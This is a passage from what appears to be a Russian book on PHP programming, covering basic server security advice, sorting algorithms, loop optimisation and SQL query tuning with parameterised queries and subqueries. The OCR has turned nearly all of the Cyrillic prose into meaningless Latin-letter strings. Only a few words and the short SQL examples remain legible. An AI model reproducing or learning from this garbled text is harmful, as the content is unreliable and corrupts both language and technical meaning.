paboraiomue cayx6sl, cluexapun ¥ T. A. [Monyuennass undopmauus cobupaerca
B GJIHHOE 1[e/I0€, U U3 MATEHbKHX KPYMUHOK B3/OMUIMK MOAYYAET MOAHOUEHHLIA
HNOCTYI K YAANEHHOH cHCTeMe.

Bama 3amaya — CKpbITh CHCTEMY OT B3NMOMIUMKA M JATh eMy KaK MOXHO MEHblLe
BO3MOXHOCTEH U1 aHAIM3a W NMPOHUKHOBEHUA Ha Baul cepsep. Yem MeHblue oH
Gyser 3uarh, TeM Jiydile, a [Uisl 3TOF0 HEOOXOAMMO YETKOE pasjefieHue Npus.
Ipenocrasnsiire mporpaMmMaM M MONb30BATENAM TOMLKO T€ BO3MOXHOCTH, KOTO-
PBIE UM HYXHBI, ¥ HHYETO JUILHETO.

Eciv cuenapwii nonayuaer janHbie OT NONL3OBATENs, TO OHW JO/DKHBI TUIATEALHO
IIPOBEPATLES, YTOOLI XAKEP HE CMOT MEpPEeaTh 3aBeJlOMO JIOKHYIO HHbopMaUmMio H
napaMeTpsl, KOTOpBIE MOTYT CIIPOBOIIMPOBATH CLEHAPHHA WM BBINIOIHUTL HA cep-
BEpe HelOMycTHMYIO onepaunio. Hepaxno, kakum wMeHHO criocoGom GbumM mo-
nyueHst nanubie (Gaiin cookie, napamMerpsl GET wix POST, ¢aiin Ha cepsepe), —
Bce OHu ysiapumbl. [la, naxe daitn Ha cepsepe Moxer ObiTh ysisBuMbiM. Ecin xa-
Kep [MOJYYMHT K HeMy JOCTYIl, OH CMOXEeT, W3MeHsisl napaMerphl, A06uThCs Heob-
XOIMMOTO pe3yabTara.

Tecrupyiite, Tectupyiite u tectupyiite. ITocie KaXIOro M3MEHEHWS] CLEHApHs
HeoOXomuMo TiuaTensHoe tecTupoBanue. CIBUHYB ONMH KYOMK B CTOPOHY, BB
MoXKeTe "ToBUThCA" TOro, 4TO BCA KPENOCTh CIOXHATCS, KAK KAPTOYHBIN HOMMK.

BHecs M3MeHEHUS B OIHY CTPOYKY MOMY/A, HEOOXOXHMO TMpPOBECTH TIIATENBHOS
TECTHPOBaHHME BCeX (PYHKUMI CUEHAPHs, KOTOphIE WCMONB3YIOT STOT MOAYAL H
0GHOBIEHHYIO BO3MOXHOCTB., X0O4y MOAYEpKHYTH cioBa "Beex ynxumit”, Ecmn
B ONIHOM MecTe INporpaMMbl HOBOBBeAEHNE OTpaboTaeT KOppexTHo ¥ npobiem
HEe BOZHWKHET, TO B APYIOM MecTe [POrpaMMBbl Ta X€ CTPOKA MOXET OKalaThed
npobiieMHOIA.
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OnTuMmunsauuns

Bonpoc ontuMusaumm cioxeH, Ho odeHb BaxeH. S Beerma rosopwr: "Eeaw Bel
HAaNWCAM TIPOrpamMmy, To Bbi nporpammuct. Ho ecan nporpamma aywine apyrux,
TO BbI Xakep”. OnTuMusanmMs — OAMH M3 cnocobGoB CAeNaTh MPOrpaMMy MaKcH-
MaibHO GbicTpoit, addexTnsHoi U Bblaensioweics Ha doxe ocranbHbX. Ecin
Ball mpocTeimit cueHapuil BLIMOAHAETCS Ha MoluHOM cepsepe 10 1 Gonee ce-
KYHI, TO 3TO CBHIETENLCTBYET TONBKO O TUIOXOM CTHIE MPOrpaMMHpPOBAHKA.

IMpusTHo, Korna cnaGuiit cepsep Moxer GbicTpo oGpabaThiBarTs clOXHBIE 3a4ayu
OONMBILIOTe KOJHYECTBA KIMEHTOB, W abCONIOTHO HEAONYCTHMO, KOTAA MOULHbIH
cepBep 3aBHCAST MPHU PelIeHHM NPOCTLIX 3a1a4. B TaKue MOMEHTH BCIOMUHAIOT-
cs Bpemena 70—90-x ronos NMponuioro Bexa, Korna namaTH y xomnbiotepa Guuto
MaJIO, 4 MOIIHOCTh Mpolieccopa M3Mepsiach B merarepuax, B te spemena npo-
rpaMMMCTBI OMINCE 38 Kaknablil GaifT namMsaTH H 5KOHOMMIIM KAKALIA TAKT Npo-
LIECCOPHOrO BPEMEHH.

Korna s nepssiiit pas sanycrun urpy Doom, To Gbil olesoMieH ee BOIMOXHO-
CTAMU B cKopocThio paborel. [lo Tem BpemeHam 3To G6HUIO YTO-TO BlieYATNAIOlEE
M yMoToMpauuTensHoe. Yepes HecKJIbKO JIET s CHOBA MOpasu/ics, KOLa YBHIe
TPEXMEPHYIO WIPY, KOTOpas CHILHO yCTynaja 1o KaiecTBy rpadMku CBOMM KOH-
KYPEHTaM M npu atoM paborana wamHoro mMeaieHHee, Kak xe mMoxHo 6o Ha-
nucarh TAKOH yxKacHbIl Kon?

[lpasunbHO HAMHCAHHLIA W ONTHMH3UPOBAHHBIH KO MOXET CO3KOHOMHTH BaM
JIeHbI'M Ha TOKYIKY W o6HOBIeHHe obopyloBaHusl. A B HEKOTOPBIX CHAy4asX Ofl-
THMU3AIMA MOXET MOBLICUTE HAJIEXXHOCTE MPOrpaMMBl, XOTS U He BCeraa.

Ssnik PHP uxrepnpernpyeMsiit, # TyT OYeHb CIIOXKHO JaBaTh KAKUE-TO peKOMEeH-
HAlu|, NoToMy YTo GO/Ibllie BCEro Ha CKOPOCTH BBIMOMHEHHS BIHAET UMEHHO
MHTepIperaTop. B KOMIMIMPYEMbIX SI3bIKAX MPOrpaMMHPOBAHMS, KOIAA BCe 3a-
BHCHT OT MAIIMHHOTO KONA, MBI MOXEM UATH HA KAKWE-TO XMTPOCTH, MCIONL30-
BaTh acceMOuep it cosnanns Gosee OLICTPHIX ATOPUTMOB.
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4.1. Anroputm

MOXHO CKONBKO YFrOmHO GMTHCSI Hal MOBBLILIEHHEM MPOM3BOLMTENBHOCTH MPO-
rpaMMbl ¥ JAOCTHMB JMiUL MHHHMAIbHON BBITOABI, EC/IH ANTOPHTM [POrpaMMbl
H3HauYanbHO He criocobed paborars GeicTpee. Ho eciim M3MEHHTH WIrOpUTM, NMpo-
M3BOAUTENHHOCTH MOXKET BhIPACTH B HECKOIBKO pas.

Paccmorpum mpumep. JdonycTum, 4TO BaM HYXKHO OTCOPTHPOBATH CIIMCOK Ha3Ba-
HUii ropoios (HasoseM ero Listl). JIns 3roro MOXHO AeHCTBOBATL NO CASAYIO-
LIEMY AMTOPUTMY:

1. Cospare HOBBIA CMHMCOK List2, KOTOpHI{l OyleT XpaHWTh OTCOPTHPOBAHHEIE
AAHHBIE.

2. B3arb nepsslit 3N1EMEHT CrMCKa Listl M [TOMECTUTD €ro B NEPEMEHHYIO X.
3. CpaBHHUTE NEPEMEHHYIO X ¢ OYEPEeIHBIM MEMEHTOM CMHCKa List2.

4. Ecnu ¥ oKaKeTcsi MeHble, TO BCTABHTh €r0 B CIIMCOK List2 Mepei cpaBHH-
BaeMoil crpokoit. Ecnu Her, To mepeiTH K CPaBHEHMIO CO CHEAYIOUIUM 3ie-
MEHTOM CITMCKA List2.

5. Beimonusth marn 3 u 4, noka X He Haiiner csoe mecro. Ecnm cnicok List2
3AKOHUMJICSI, TO 3HAUMT, X GOJIBIE BceX 3IEMEHTOB M €ro HY)XXHO BCTABUTH
B KOHEIl CIHCKA.

6. Baars cnenyioutiit aNEMEHT CMHCKA Listl, MOMECTUTL €ro B NEepeMeHHYIO X
U nepeity K wary 3.

Jlns peanusauyy 3TOr0 WITOPUTMA HYXXHO [BA UMKIA, NMPUYEM, OAMH M3 HHMX
BnoxeHHbUi. TlepBsiil Uk nmepebupaer cMUCcOK Listl, W JUIS KAXKIOro 3MeMEHTA
BLITOJIHAETCS LMK, B KOTOPOM NMPOBEPSIOTCHA BCE MEMEeHTHl cnucka List2. [To-
MHMO 3TOrO, Ha KaXIOM liare LMKAa MPOMCXOAMT cpaBHenue. Ecim cocymurath
KOJIMYECTBO MPOMU3BEACHHBIX OfNepauuit, To MoJyyuTcs oyeHb OGosblioe 9YMEno.
K Tomy xe, caM alropuT™ NMpocT TOJNBKO Ha mepsslit Barmsia. Ha camom nene, mwis
€ro peanusallii HYXXHO IOCTATOMHO CHIILHO TMOCTAPaThesl M TPU ITOM He OMIH-
OuThCA, a 3[ECh JOCTATOYHO MECT, T1e MOXHO JOMYCTUTH OLIMOKY.

MOXHO KaK-TO MOMBITATHCH YBEAMYUTH CKOPOCTh ONEpalmit cpaBHeHus, HO TYyT
y Hac CAMUIKOM OrpaHudeHs! BoaMmoxHoctH. Eciu y camoro mpoueccopa €crs
HECKONIBKO criocoBoB cpasHMTL ABa wucna, To y PHP ux MoxHO nepecuurars no
NanbLaM OIHON PYKH.

A Tenepb TPEICTABUM, YTO 3TOT WITOPHUTM AOIKEH OTCOPTHPOBATH CIEMYIONLYIO
nocnenosareabHocTs uncen: 1, 2, 3, 4, 5, 6, 8, 7, 9. B aroit nocaenoBaTe bHOCTH
JIOCTATOYHO MOMEHATH TONLKO yMena 8 u 7 MecTaMu, HO HAlll ANTOPUTM ITOrO He
3HAeT, MO3TOMY OYleT BLINMOIHATECS OYeHb A0JTO. A eclii MACCHB yXe OTCOpTH-
posan? Tspkenast pabora WHTEPNIPETATOPA U TIPOLIECCOPA OKAXYTCH HAPACHBIMH.
3ameHa anropuTMa Ha uro-To Goslee coBeplIeHHOE MO3BOJIUT YeKopuTh paborty
B HECKOJIBKO pa3.
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B nanHoMm ciyuae He COBCEM KOPPEKTHO BbIOpaH npumep, MOTOMY 4TO JUls COp-
THPOBKH CYIIECTBYET BEJIHKOE MHOXECTBO PA3HLIX BAPHAHTOB AITOPUTMOB, H Ka-
KAbIH M3 HUX TIPH ONPEHeNCHHBIX YCHOBUAX MoXeT paGorars ObicTpee ApPYyrux.
Ho Mbl paccMOTpHM OIMH M3 BAPHAHTOB, KOTOPBIA MOXET PEaibHO MOBLICHThH
CKOpOCTh paboThi:

1. Tlomelraem mMepBBIit SMEMEHT B MEPEMEHHYIO X.

2. Ycranasnusaem qar cocTosIHNA B 3HAYEHNE false.

3. Crenyiomuit KOMIOHEHT HOMELLAEM B MEPEMEHHYIO Y.

4

. CpasHuBaem nepemenHbie, Ecli X>Y, TO MEHSIEM HX B CIIUCKE MECTAMM M YC-
TaHaB/IuBaeM (uar cocToAHMA B 3HaueHMe true. MHaue sanuceiBaeM B X 3Ha-
YEHHE Y.

Ecnn npocMotp He 3aKOHYEH, TO neépeiTH K mary 2.

6. Ecnu npocMOTp 3aKOHYEH, TO TPOBEPHTH IMEpeMEeHHYIo coctoiuud. Ecinu oHa
paBHA true, TO BO BPEMS MPOBEPKM 3TEMEHTHEl MEHSIHCH MECTAMU, W HYXHO
MOBTOPUTH MPOroH cHayana. Ecan cocrosinue paBHo false, TO MOBTOP He HY-
JKeH, BCE SIEMEHTHI OTCOPTHPOBAHBIL.

Boaspamaemesi K npuMepy TOCIEAOBATENBHOCTH, B KOTOPOi HYXHO TOJIbKO MoO-
MeHATb MecTaMi aBa anemeHTa. [Ipy HOBOM anroputMe HyXHO GyaeT TonibKo
JiBa pasa MPoCMOTpeTh Bech cnucok. Ha nepsom ware wadpst 7 u 8 nomensnores
MECTaMM, & MOCNe BTOPOrO MPOCMOTPA CITMCKA MPOrpaMMa yBUINT, Y4TO M3MeHe-
HHi He OBIIO, @ 3HAYUT, CITUCOK OTCOPTUPOBAH.

DTOT WITOPUTM HYXIAETCH TONBKO B OJHOM LMKIE, KOTOPHIH Oyner BBITOMHATLECH
HAMHOTO MEHBIle pa3, ecay jJaHHbie Gosee-meree ynopsnoueds.. Ho naxe npu
MAKCUMATBHOM MepeMellMBAaHHN CKOPOCTh paboThl BTOr0 AITOPUTMA BEIIIE, YEM
Y PACCMOTPEHHOTO MEPBLIM.

Kak BuauTe, OYeHb BaXHO mMpasuabHO BuIGpaTh anropur™, Ecimu oxaxercs, uro
Baul cueHapuii paboraer cIMUIKOM MEUIEHHO, i PEKOMEHAYI0 YHHYTOXHTH €ro H
Ha4yaTh mMcark ¢ yucroro aucrd. Kak st yxe ckazan, 8 PHP 3ro oyens saxHo,
MOTOMY YTO HET BO3MOXHOCTH O0pawiarsesi K [POLEeccopy HanpsmMylo U NCIojib-
30BaTh €10 MpeuMyllecTsa.

PazpaGoruuku PHP cosgaBanm MHTepnperatop MAKCHMAaNbHO YHWBEPCANBHBIM,
MO3TOMY M CAMH He OYeHb YACTO ONTHMHU3IMPOBAIM KO MOA KOHKPETHYIO apXH-
TEKTYPY. A Belb €CIHW 3HATh, YTO MporpamMma To4yHO Oyaer pabGorars Ha
Pentium 4, To MoXxHO GeIO OBl MCMOAB30BATH HOBBIE BO3MOXHOCTH 23TOH apxu-
TekTypsl, Texsonornio Hyper Threading u HOBble WHCTPYKLMM Npoueccopa, uTo
SHAYMUTENIBHO TMOBLICHT CKOPOCTh paboThl MporpaMmbl aXe Np¥ MeLIeHHBIX an-
TOPUTMAX.

BoJBIIMHCTBO NPOrpaMM Tak WIM WHAYE MCTIONB3YeT MATeMaTH4YecKue aIropur-
MBI, MMO3TOMY IUIsi HAMMCAHMA S(PPEKTUBHBIX MPOrpaMM Bbl JAOJDKHBI XOPOILIO
pasbuparscst 8 Maremaruke. Hampumep, mMarematHuecKue anropHTMbl TpHMeHsi-
10TCSl NPH COPTHPOBKE,

w
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4.2. Cnabble mecTa

Korna MHe NMPHXOHAMTCS MHCATh NMPO ONTHMMM3ALMIO, s Beerda nenaio Gonbluoi
ynop Ha noHsTHe craboro Mecta. Yrobel syviie yACHUTB, O YEM WIET peyb, Jia-
BaiiTe paccCMOTPHM WHTEPECHBINH MPHUMEP ¢ HAPALIMBAHMEM MPOMU3BOAMTEIBHOCTH
KOMIblOTepa.

Tlpeanmonoxum, 4To y Bac ecTh cepBep HAa Dase camMoro MOLIHOTO IPOLECCOpa
Pentium 4 u nnrepHer-kaHan 256 K6ut/c. JdonycTum, 970 3TOT cepsep He ycne-
Baer oDpabarwiBaTh 3apPOChl KAMEHTOB, M AAMMHHCTPATOP BBIHYXACH Hapailu-
Bath ero mouHocTs. Yro aenars? Hanpawusaercst BapMaHT BHEAPEHMS ABYXITPO-
LECCOPHOM CUCTEMbI, HO 3TO Heoba3aTeNbHO peltut nmpobiaemy. BoamoxHo, yro
y3KHM MecToM #Bisiercs Kadan cssisu. [lpoueccop ycnesaer oGpabareisath Bce
3anpockl MOAL30BaTENeH, Aa elle M NPOCTAMBAET, MOKA KaHall repekauusaer ob-
pabGoraHHble paHHbie, [lonyuaeres, 4yto 3arparhl OBUIM JIMIIHHMM, M CKOPOCTh
06paboTKH He MOBLICHAACS.

IIpu Hanucanuy MPOrpaMm M CUEHAPUEB HYXKHO TakkKe MCKaTh cambie ciabbie
MECTa ¥ HAYMHATH ONMTUMU3ALKIO ¢ HUX. Ecau Obl MBI FOBOPMIIH O KOMITHIUpYE-
MOM fA3bIKe, TO si cMOr Obl Hasparh HECATOK ASHCTBUTENBHO Y3KMX MmecT. Boa-
moxHoctH PHP HamMHOro Hmke, no3ToMy He Bceria YAAeTcs YBETHYWTh MPOHI-
BOIMTENLHOCTD TaM, e 3T0 JeHCTBUTENLHO HyxXHO. Ho ecThb ofHO y3koe Mecto,
KOTOpOE NPUCYTCTBYET B MOOOM S3BIKE NpOrpaMMHMpOBaHMs, — 3TO LHAKILL [lo-
TYCTUM, YTO Y HAC €CTH CHEAYIOUINH ITCeBIOKO:
MpensapuTebHEE pPacHeTH :
Hauwano uMiia, KOTOPHN BENOJIHASTCH 100 pas

Cocunrare wmMcnoe Ibf;

Cymma = I+l;

Koney umrna

OxoHuaTenbHEE DPacdeTs

Ecnd nulTaThCst ONTHMW3WUPOBATh KOA B TPEABAPHTENBHBIX M OKOHYATENBHBIX
pacyeTax, T0 MOXHO JIOOUTECS HE3HAUMTENBLHOIO MOBLILIEHHS TPOM3BOANTEILHO-
ctu. [laxe ecnu Bbl cMoxere ybpars 5 wim 10 nwiuHMX onepammii, 3aMEHHB WX
otHOM, cueHapuil GyaeT BLITIONHATLCH ML HA HECKONbKO oNepauuit GeicTpee,
Ho ecnun y6pars pacyer yucna [1n 3a npenensl IMKIA B NPEIBAPUTEBHBIE pacue-
Thl, To 3akoHomus coctaBuT 100 onepaumii. Llukn coxpamaercsi, CTaHOBUTCH
npoue, ¥ He Hano 100 pas cuuTars OQHO U TO Xe:

[lpensapUTenLHEe pacdeThl

CocumraTs ducno M}

Hawano umEna, KOTOpEM BemonHserca 100 pas

Cyrpaa = Tatl; ¢

Koneu wwxia

OrROoHYATENBHEE pacdeTal
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TMonyyaercsi, 4TO €CaM TPATUTH BPEMS HA ONTHMW3ALMIO AOCTATOMHO GBICTPO pa-
boralomero xoia, To Bhiroga Gyner MuHuManbHOW. Ho ecan onruMmsmposath
Y3K0O€ MECTO, TO B PE3yJbTare Mbl MOMyYNM HeiicTBUTENBHO BElcTpo paboraommii
cueHapui,

4.3. basbl gaHHbIX

Tax kak PHP menonsayercs, B OCHOBHOM, Wisi IocTyna K 6asaM HaHHBIX, TO BO-
Npoc WX ONTUMM3ALMH HeIb3s 00XoauTh cToporoit. Jloctyn K maHHbBIM ocyliecT-
BJISIETCS € TIOMOILBIO 3anpocoB Ha f3wvike SQL, KoTopwit OB cTaHIaApTH3INpPOBAH
MHOIO JIeT Hasall, HO He NOTEeps)l CBOEH AKTYAIBHOCTH M MO ceil JeHb. A BOT
BO3MOXKHOCTH, KOTOpbIE OH MPEAOCTABISAET, CIHMIIKOM MPOCThl U He obecneyusa-
10T COBPEMEHHbIE NOTPEGHOCTH.

B ceoeii mpakTUKe s1 WCMOAB30BAT padIMMHbIE CHCTEMEBl yhnpasieHus ©Gazamu
nauHbix (CYBI) u He pas ofKurancs Ha TOM, 4TO OHM TO-PasHOMY MoryT obpa-
GarsiBarh Aaxe 3anpockl SQL cranpapra 1992 roga. Bpone 6ul Bee BuInoHsieTcs
BEPHO, HO C HEDONABUIUMM OTKIOHEHMAMM, HANPUMEp, cepBep He Beersa nou-
JlepXKuBaeT YTeHHe JaHHbIX, KOTOphie 3anucaHsl B 6asy naHHbIX, HO elie He noi-
TBEPXKIEHBI. '

[TosToMy Bbl JIOJDKHEI € CAMOTO Havyala mucarb cueHapnit uMeHHO noji Ty Gazy
IaHHBIX, ¢ KoTopoi Oymer npoucxonuth pabora., Hempas nucare Kom non
MS SQL Server wimm MySQL, a notom npocro nepeHecru ero moa Oracle. Dro
coBepilieHHO pasHbie Gasbl, OHM paboTaloT MoO-pazHOMY, M ¥ BAC MOIYT BO3HMK-
HyTb TpOGAEMbl HE TONBKO B CMBICIE TOTEPH NMPOU3BOAMTENBHOCTH, HO H B MO-
JIYYEHMM OIUBOYHBIX PE3YIBTATOB.

[lpn onTMUsAIMH MPHUIOXEHHHT LA paboTsl ¢ 6azamu NaHHBIX HYXHO jeiicTBO-
BaTh C JABYX CTOPOH — ONTHMH3HpOBaTh caMy 6asy maHHeX (cepsep 6Gassl) n
Cpe/icTBa AocTyna K AaHHsIM (3anpockt). PaGorars HyXHO cpasy Han o6eMMM CO-
CTABNAIOIUMMH, TIOTOMY YTO OHHM B3aUMOCBsi3aHbl [loBblIEHHE ITPOMIBOMUTENb-
HOCTH CepBepa MOXET HEraTMBHO CKa3aThCd HA TPOUIBOAMTENILHOCTH 3anpoca.
SApKUM NpUMEPOM TAKON CHTYAUMH CiYXKAT WHIeKchl. Eciu Bbl cosnand MHAEKC
JUIsi MOBBIILIEHUST CKopocTH paboTsl ¢ TaGnuueit, 3T0 He 3HAYKUT, 4TO 3anpoc Gyner
paborarhk GbicTpee, MOXET oKaszaTbesi U HaoGopoT, ocoGeHHO B Tex clyyasx, Koraa
CO3JaHO O4YEHbB MHOIO MHIOECKCOB.

JlasaiiTe paccMOTPHM OCHOBHBIE MPHHIMITEI, KOTOPBIMH Bl JO/DKHE! PYKOBOJICTBO-
BaTHCS! MPU ONTHMM3ALMHN NTPUIIOXKEHMIt s paboTel ¢ 6azamMK JaHHBIX, DTO TONLKO
obutie mpUHUKIEL, Ho Y KonkpetHoit CYB]1 mMoryt GbiTh cBOM 0COGEHHOCTH.

4.3.1. OnTuMn3auuns 3anpocos

Hexoropsie nporpaMMmucTsl cunTaior, yto SQL-3anpockl paboTaloT 0AHMHAKOBO
B moboit CYB/. Bro Gonbiuias ownbka. JeiicTBUTENBHO, CYIIECTBYET CTAHAAPT
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SQL, # zanpockl, HarMMCAHHBIe HA HeM, GYAYT BOCHIPHMHATHI B OONBIIMHCTBE CHC-
Tem omuHakoso. Ho rtonbko "BocrnpuHaTE", 8 o6paGoTka MOXET NpPOUCXONUTS
COBEpPIIEHHO MMO-PasHOMY.

MakeumansHble npobieMsl Bo BpeMsi MepeHoca NPUIOKeHUsT MOTYT GhITh BblaBa-
HBI paciudpeHusMu fssika SQL. Tax, Hanpumep, 8 MS SQL Server ucnonbsyer-
s Transact-SQL, a B Oracle PL/SQL, u ux orneparopsi COBEPIIEHHO HECOBMEC-
THMBL. Bul IomkHBI 3apanee onpenenutsen ¢ BeiGopoM CYBIl u ucnonsayemoro
A3bIKA, YTOOBl HE CTOMKHYTHCS C BO3MOXHBIMM npobiemMaMn B OyayuieM.

Ho naxe ecnm BBl nepesefere cBOH KOJI ¢ OTHOro S3bIKa Ha npyroi, mpobnem
Oyner oueHb MHOTO. DTO CBA3AHO ¢ PATHYHBIMU APXUTEKTYPAMH ONTHMH3ATOPOB
3anpocoB, pasHuuei B Grokuposkax u T. . EciM Koo nmporpamMMsl Nnpu cmene
CYB/l tpebyer He3HAYMTENBHLIX MaMeHeHuit, To SQL-3anpocsl HyXHO Tepenu-
CBIBATL NOJHOCTBIO M € CAMOro Hauana, naxe He obpalliasi BHUMaHUsI HAa TO, YTO

BbI MCMONB3OBANK B TPEAbUIYILEH BEpPCHN NPOrpaMMBl Wis Apyroil 6a3sl JAHHBIX.
He cTOWT NbITATHCA MCTIPABUTE MX WIIH OMTUMM3HPOBATE.

HecmoTpsl Ha cynIecTBEHHEIC PasnuYns Mexny 0aszamMy JaHHBIX pPasHBIX MPOM3IBO-
mureneit, ects U obwee. Hanpumep, Gonsiunrerso CYBJL BRIMONHAET 3aMpochl
chenyonuM oGpasom:

1. Pasbop s3anpoca.

2. OnTuMM3aLM.

3. lexepawns rUIAHA BBEIMOMHEHMS.

4. BemomHeHue 3anpoca.

Bro Beero smuip OOIIMIA NIAH BBIMOMHEHUs, a JUis Kaxnoil xoxkperHoit CYB/
KOJIMYECTBO LIAroB MOXeT OwiTh pasHbiM. Ho rnasHoe COCTOMT B TOM, YTO mepen
BBITTOJIHEHHEM ITPOMCXOANT HECKOJILKO LIATO8 MO TOATOTOBKE, KOTOPbie OTHHMEa-
10T JOCTATOYHO MHOrO BpeMmeHM. [Tocne BHIOTHEHUs 3anpoca UCMOAb30BAHHEN
nnax Gyner coxpaHed B crenmansHom Bydepe. [Mpu crenyiomenm sanycke cepsep
NonyynT 3TH HaHHbie W3 Gydepa u cpasy Xe HauyHeT BBITIONHEHWE 6e3 AWIIHUX
3aTpatr Ha MOUrOTOBKY.

Teneps MOCMOTPUM HA [OBA 3ampoca:

SELECT *

FROM TableName

WHERE ColumnName=10

H

SELECT *
FROM TableName
WHERE ColumnMName=20

Oba 3anpoca BeIGHPAIOT AaHHbBIE W3 ONHON W Toit XKe Tabmuusl. Toabko neppbli
MOKAXET CTPOKH, B KOTOPLIX KOJNOHKA ColumnName COASPXHT 3Hauernwue 10,
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a BTOPOIi MOK2KET CTPOKM, TIe 3Ta Xe KoJoHKa conepxut snavenne 20. Ha mep-
BBI B3TJIsiAL, 3aTIPOCHl OMEHB TIOXOXKH W NOJDKHBI BEIMOMHATHCS [0 OLHOMY W TOMY
Xe nnady. Ho 3To BOHO TONBEKO ¥enoBeKy, 4 He ONTHMMU3ATOPY, KOTOPBLIi BOC-
NPUHUMAET TAKHE 3aNpockl KaK pasHeIe W OYAET BHINOAHSITH BCE MOATOTOBHTENb-
HBIE WIArH, HECMOTPS HA CXOXKECTb,

Yrobpr H3bexarh 5TOro, HYKHO HCIONL3OBATH B 3anpocax nepemeHubie. [Mepe-
meHHbie SQL exoxu no nasnavesmo ¢ nepemennsivu PHP, Ho 8 3asucumoctu
ot 6asbl AaHHLIX W ApaiiBepa MOTyT oopMiIsiTeCs pasHeiM crnocobom. [Mosromy s
He Gyny nenars Hukakux odopmienuit, yroGel He cGUTh BAC C TOJNKY, @ MPOCTO
Oyny Ha3LIBaTh NepeMeHHbIE UMEHEM paramX, [Ae X — 270 juoboe uncao:

SELECT *
FROM TableName
WHERE ColumnName=paraml .

Teneps, BHITONHsISE 3ANPOC, AOCTATOYHO TOJIBKO NEPENATh CEPBEPY JHAYCHHE Mepe-
MEHHOIf paraml, M B 3TOM Cly4ae 3ampocsl GYAYT BOCIPHHUMATLCS ONTHMM3ATO-
POM KaK O/IHHAKOBBIE, U JIMLUIHUX 3aTPAT HA MOATOTOBUTELHBIE ITAMB He Gy/er.

Bydep mwist xpaHeHus MIaHOB BRINONHEHUsS He GeCKOHEe4eH, MoTOMY B HEM Xpa-
HATCH AaHHbLIE TONBKO O MOCHEHHUX 3anpocax (KOJUYECTBO 3aBHCHT OT pasmepa
6ydepa). Ecan Kakoii-To 3anpoc BeIMONHAETCS J0CTATOUHO YacTO, TO B HEM ob#-
3aTeNTbHO HYXHO MCMOMb30BATE MEpeMEHHBIE, MOTOMY HTO 3TO 3HAYMTENBHO TMO-
BBICHT TpoMsBomurensHocTh. [TonpoGyiiTe MBAXKABI BLIMONHWTE OAWH W TOT Xe
3anpoc M MOCMOTPETh Ha CKOpPOCTh BHIMONHeHHs. Bropu4Hoe BeimonHeHue Byuer
HaMHoro GhicTpee, YTO MOXHO 3aMETHTh JIaXe Ha 17143,

Ecnn sanpoc BBIMOAHAETCH J0CTATOYHO OBICTPO, HO OYEHB PEAKO, TO MOXHO He
ocobo ofpaw@rs BHUMaHKe HA onTumMusaunio. Kak Mbl yxe sHaem, Hezayem on-
THMHM3HPOBATHL TO, 4TO M Tak paboraer OLICTPO H BHIUTOMHAETCS PEAKO (MUidH BbI-
noHeHuA He coxpauutes B Gydepe no crenyiolnero Bbizosa). 3mech Her ciaboro
mecra. Ho 310 He 3HauuT, YTO MOXHO WrHopHpoBaTh ontUMusauuio. Ilpocro He
CTOMT Ha HEil 3A0CTPATH CIMIIKOM Gosbioe BHUMAHME, MOTOMY 4TO adipekt Gy-
JeT MUHHMAJIBHBIM. '

3anaun, KOTOpLIE BHIMOJHAIOTCS YACTO, NO/KHBL paborars MakcuMansHo GuieTpo.
Jaxe ecau 3anpoc MPOMCXOAMT € NPHEeMISeMOH Ul KIHeHTa CKOPOCTHIO, ThicAYa
TAKMX 3aMpOCOB CO3AACT AOCTATOYHO GOABIIYIO HATPY3KY HA cepBep, M OH cpasy
Ke CTAHEeT Y3KHM MecToMm B Bamleit cucreme. [lomyyaercsi, 4To 4acThle 3anpockl
MOXHO BOCTIPUHMMATH KAK LMKJ € TOYKW 3pEeHMsi cepBepa, a Mbl YK€ roBOpHIN,
4TO UMK caM 110 cebe ABnsieTcs cabhiM MECTOM.

B GonbiunHCTBE TIpHIIOKeHMH 633 TaHHBIX MPUCYTCTBYIOT BO3MOXHOCTH IUIA 110~
cTpoeHHst or4yeros. 3anpockl Ha s3sike SQL wra ux GOpMHPOBAHUS MOTYT Bhbi-
MOJNHATECS OYeHb J0NT0, HO OTYeTHl TpebyloTes oueHb peaKo (Hanpumep, Mecsy-
HBI, KBAPTANLHLIE WiM rofoBoi ortuer). B Takux ciayuasx HpoOrpaMMHCTBI
CAUIIKOM MATOE 3HAYCHUE YIENSIOT ONTHMMH3ALMM, MOI, MYCTH BBINOIHACTCS
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AONTO, OIMH pas MOXHO M TiotepreTs. Ho B pealbHBIX YCAOBHSIX OTYETHOCTE MO-
xer dopMupoBarkes 3a Heckonbko Imaros. Muorma mocne nepeoit monbiTki
B JAHHbIE BHOCATCS HM3MeHeHMs, W (opMHpoBaHUe NoBropsieTcs cHosa. Takuu
obpasoM, naxe penKo BIMONHAEMBIE, HO OYSHb MEANEHHBIE 3arpOCchl HYKHO JI0-
CTaparhcsl XOPOIIO ONTUMUIUPOBATE XOTA OBl ¢ MOMOLIBIO WCIIO/NB30OBAHUA Mapa-
METPOB.

CospemeHHBIe §a3bl AaHHBIX MOTYT TOMIEPXKWBATE Toa3anpockl. B atom cmyuyae
NPOrpaMMHUCTE! HAYWHAIOT UMK 3noyroTpednars. [Ipn HamuMcanuy 3anpocos cra-
paiiTech UCIONB3OBATH MHHUMAIBHOE KOIWYECTBO OMEpaTopoB SELECT, ocobeHHO
BIOKEHHBIX B CEKIMIO WHERE, [isi MOBbIUEHUs MPOWIBOMMTENLHOCTH WHOrAA
XOpPOLUO [TOMOraeT BBIHOC JIMUIHEr0 SELECT B ceKiMio FROM. Ho uHoraa Guisaer u
obpatHoe: OGulcTpee GyAeT BHITOMHATECS 3apoc, B KOTOPOM SELECT BbIHECEH M3
FROM B Tel0 WHERE. DT0 yXe 3aBUCHT OT ONTHMH3ATOPA 3aNpPOCOB KOHKPETHOH

CYB/A.
Honycrum, Ham Hago BeIOpaTh Beex Jiofel w3 6a3sl JaHHBIX, KOTOpEIe paboraioT
HA MPEeAnpUSTUM B AaHHBIH MomeHT. Ui Beex paboraiomux B KOJNOHKE Status
CTaBUTCS KO, KOTOPBI MOXHO MOJYYHTH U3 cripaBouyHUKa cocrosinuit. Toemor-
pUM Ha NepBBIT BAPMAHT 3a1lpoca:
SELECT *
FROM tbPerson p
WHERE p.idStatus=

{SELECT [Keyl] FROM tbStatus WHERE sName='PaGoTaeTt')

Bam Heobsi3aTelbHO HOMHOCTBI MOHMMATh CYTh 3TOro 3anpocd. InmasHoe 3ech
B TOM, 4TO B CeKUMU WHERE BhITIOJHAETCS noasanpoc. On Oyner reHepupoBaThes
I Kaxaoi cTpokd B Tabiuie thPerson, YTO MOXET OKa3aTbCs CAMIIKOM Ha-
